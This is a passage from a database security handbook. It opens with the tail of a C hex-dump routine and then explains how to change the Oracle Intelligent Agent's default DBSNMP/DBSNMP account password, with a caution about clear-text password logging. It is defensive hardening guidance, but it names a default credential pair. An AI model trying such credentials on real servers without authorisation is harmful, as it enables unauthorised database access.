printf("%c",ptr[count]);
count ++;
}
printf("\n%.4X ",count);
}
printf("%.2X ",ptr[count]);
count ++;
}
count = count - chk;
count = 17 - count;
while(sp < count)
{
printf(" ");
sp++;
}
count = chk;
while(count < size)
{
if(ptr[count]<0x20)
printf(".");
else
printf("%c",ptr[count]);
count ++;
}
printf("\n\n\n\n");
return 0;
}
The Intelligent Agent often needs to communicate with the database server and requires a user account and password for the RDBMS. By default this is DBSNMP/DBSNMP—one of the better known default Oracle accounts. When performing a security audit of an Oracle database server, I often find that all the default passwords have been changed except this one. The reason is that if you change the password on the database server, snmp traps don't work; you need to inform the Intelligent Agent of the password change, too. It seems that this is often too much hassle and is left in its default state. To properly change the password for the dbsnmp account you'll need to edit the snmp_rw.ora file as well. You can find this file on the ORACLE_HOME/network/admin directory. Add the following:

SNMP.CONNECT.SID.NAME=dbsnmp
SNMP.CONNECT.SID.PASSWORD=password
"SID" is the SID of the database server. You can get this from the snmp_ro.ora file in the same directory. Once done, change the password for DBSNMP in Oracle.

Note—never change a password using the ALTER USER command. The reason you shouldn't do this is because the SQL is logged if tracing is on, meaning that the password is also logged in clear text. Use the password command in SQL*Plus instead. In this case an encrypted version of the password is logged making it more secure against prying eyes.

chapter 2 (3)

The Database Hacker's Handbook: Defending Database Servers
by David Litchfield et al.
John Wiley & Sons © 2005